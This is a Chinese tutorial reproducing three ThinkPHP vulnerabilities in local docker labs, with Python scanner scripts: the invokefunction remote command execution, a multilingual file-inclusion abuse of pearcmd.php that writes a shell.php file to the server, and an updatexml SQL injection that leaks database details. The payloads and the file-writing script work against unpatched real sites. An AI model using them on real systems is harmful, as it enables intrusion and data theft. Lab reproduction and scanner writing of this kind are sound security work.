Thinkphp框架相关漏洞扫描器(二)
本文针对ThinkPHP框架存在的多个高危漏洞进行了复现分析,主要包括:1)5.0.22/5.1.29版本的远程命令执行漏洞,通过构造特殊请求可执行任意命令;2)6.0.13版本的多语言本地文件包含漏洞,在特定条件下可包含恶意文件;3)5.x版本的SQL注入漏洞和敏感信息泄露问题,可获取数据库信息。针对每个漏洞提供了环境搭建方法、复现步骤和Python检测代码,通过MD5校验、500错误判断等方式
前言
Thinkphp框架中存在很多漏洞,因此编写漏洞扫描器来检测漏洞很有必要
一、漏洞介绍(5.0.22/5.1.29)
由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
环境搭建
执行如下命令启动ThinkPHP5:
docker compose up -d
环境启动后,访问http://127.0.0.1:8083/即可查看到默认页面。


代码
import requests
from urllib.parse import *
def thinkphp_5_rce_scan(url):
poc = r'/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsome_Mirror'
payload = urljoin(url, poc)
response = requests.get(payload, verify=False)
if '2f0477618daf4574f9e0e50eb84a7f8e' in response.text:
print("漏洞存在")
else:
print("漏洞不存在")
host = 'http://127.0.0.1:8083'
thinkphp_5_rce_scan(host)
二、漏洞介绍(多语言本地文件包含漏洞)
6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用
lang参数来包含任意PHP文件。虽然只能包含本地PHP文件,但在开启了
register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件
环境搭建
执行如下命令启动ThinkPHP6:
docker compose up -d
环境启动后,访问http://127.0.0.1:8084/即可查看到默认页面。


漏洞复现
首先,ThinkPHP多语言特性不是默认开启的,所以可以尝试包含
public/index.php文件来确认文件包含漏洞是否存在:
如果漏洞存在,则服务器会出错,返回500页面。
文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:
PHP环境开启了
register_argc_argvPHP环境安装了 pcel/pear
这里复现过程输入相同的payload并没有出现500的页面
代码
import requests
from urllib.parse import *
def thinkphp_6_upload(url):
poc = 'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php'
url_1 = urljoin(url, poc)
response_1 = requests.get(url_1, verify=False)
url_2 = url_1 + 'shell.php'
response_2 = requests.get(url_2, verify=False)
if response_2.status_code == 200:
print("漏洞存在")
else:
print("漏洞不存在")
host = 'http://127.0.0.1:8084'
thinkphp_6_upload(host)
三、漏洞介绍(SQL注入漏洞 && 敏感信息泄露)
环境搭建
执行如下命令启动ThinkPHP5:
运行环境:
docker compose up -d
启动后,访问http://127.0.0.1:8085/index.php?ids[]=1&ids[]=2`,即可看到用户名被显示了出来,说明环境运行成功。


漏洞复现
访问
http://127.0.0.1:8085/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,信息成功被爆出。

当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,可以找到数据库的账号、密码。因此这又属于一个敏感信息泄露漏洞。

代码
import requests
from urllib.parse import *
def thinkphp_5_sqli(url):
poc = '/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1'
url = urljoin(url, poc)
response = requests.get(url, verify=False)
if 'XPATH syntax error' in response.text:
print("漏洞存在")
else:
print("漏洞不存在")
host = 'http://127.0.0.1:8085'
thinkphp_5_sqli(host)
到此thinkphp系列漏洞复现完毕
更多推荐
所有评论(0)